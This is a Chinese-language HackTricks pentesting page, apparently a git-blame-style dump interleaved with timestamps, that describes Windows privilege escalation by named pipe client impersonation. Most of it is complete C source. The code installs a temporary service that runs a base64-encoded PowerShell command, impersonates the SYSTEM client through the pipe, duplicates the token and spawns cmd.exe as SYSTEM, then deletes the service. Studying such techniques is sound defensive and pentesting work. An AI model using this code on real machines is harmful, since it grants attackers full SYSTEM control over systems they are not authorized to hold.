2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**代码流程:**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 创建一个新的管道
|
|
|
|
|
2. 创建并启动一个连接到创建的管道并写入一些内容的服务。服务代码将执行以下编码的PowerShell代码:`$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
|
|
|
|
|
3. 服务从管道中接收来自客户端的数据,调用ImpersonateNamedPipeClient并等待服务完成
|
|
|
|
|
4. 最后,使用从服务获取的令牌生成一个新的_cmd.exe_
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2020-12-28 14:16:10 +00:00
|
|
|
|
{% hint style="warning" %}
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果权限不足,攻击可能会被卡住并永远无法返回。
|
2020-12-28 14:16:10 +00:00
|
|
|
|
{% endhint %}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```c
|
|
|
|
|
#include <windows.h>
|
|
|
|
|
#include <time.h>
|
|
|
|
|
|
|
|
|
|
#pragma comment (lib, "advapi32")
|
|
|
|
|
#pragma comment (lib, "kernel32")
|
|
|
|
|
|
|
|
|
|
#define PIPESRV "PiperSrv"
|
|
|
|
|
#define MESSAGE_SIZE 512
|
|
|
|
|
|
|
|
|
|
int ServiceGo(void) {
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
SC_HANDLE scManager;
|
|
|
|
|
SC_HANDLE scService;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (scManager == NULL) {
|
|
|
|
|
return FALSE;
|
|
|
|
|
}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// create Piper service
|
|
|
|
|
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
|
|
|
|
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
|
|
|
|
|
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
|
|
|
|
|
NULL, NULL, NULL, NULL, NULL);
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (scService == NULL) {
|
|
|
|
|
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
|
|
|
|
|
return FALSE;
|
|
|
|
|
}
|
2020-12-28 14:14:40 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// launch it
|
|
|
|
|
StartService(scService, 0, NULL);
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// wait a bit and then cleanup
|
|
|
|
|
Sleep(10000);
|
|
|
|
|
DeleteService(scService);
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
CloseServiceHandle(scService);
|
|
|
|
|
CloseServiceHandle(scManager);
|
2020-07-15 15:43:14 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
int main() {
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
LPCSTR sPipeName = "\\\\.\\pipe\\piper";
|
|
|
|
|
HANDLE hSrvPipe;
|
|
|
|
|
HANDLE th;
|
|
|
|
|
BOOL bPipeConn;
|
|
|
|
|
char pPipeBuf[MESSAGE_SIZE];
|
|
|
|
|
DWORD dBRead = 0;
|
|
|
|
|
|
|
|
|
|
HANDLE hImpToken;
|
|
|
|
|
HANDLE hNewToken;
|
|
|
|
|
STARTUPINFOA si;
|
|
|
|
|
PROCESS_INFORMATION pi;
|
|
|
|
|
|
|
|
|
|
// open pipe
|
|
|
|
|
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
|
|
|
|
|
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
|
|
|
|
|
|
|
|
|
|
// create and run service
|
|
|
|
|
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);
|
|
|
|
|
|
|
|
|
|
// wait for the connection from the service
|
|
|
|
|
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
|
|
|
|
|
if (bPipeConn) {
|
|
|
|
|
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
|
|
|
|
|
|
|
|
|
|
// impersonate the service (SYSTEM)
|
|
|
|
|
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
|
|
|
|
|
return -1;
|
2020-07-15 15:43:14 +00:00
|
|
|
|
}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// wait for the service to cleanup
|
|
|
|
|
WaitForSingleObject(th, INFINITE);
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// get a handle to impersonated token
|
|
|
|
|
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
|
|
|
|
|
return -2;
|
|
|
|
|
}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// create new primary token for new process
|
|
|
|
|
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
|
|
|
|
|
TokenPrimary, &hNewToken)) {
|
|
|
|
|
return -4;
|
|
|
|
|
}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
//Sleep(20000);
|
|
|
|
|
// spawn cmd.exe as full SYSTEM user
|
|
|
|
|
ZeroMemory(&si, sizeof(si));
|
|
|
|
|
si.cb = sizeof(si);
|
|
|
|
|
ZeroMemory(&pi, sizeof(pi));
|
|
|
|
|
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
|
|
|
|
|
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
|
|
|
|
|
return -5;
|
|
|
|
|
}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// revert back to original security context
|
|
|
|
|
RevertToSelf();
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
|
|
|
|
|
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
|
|
|
|
|
|
|
|
</details>
|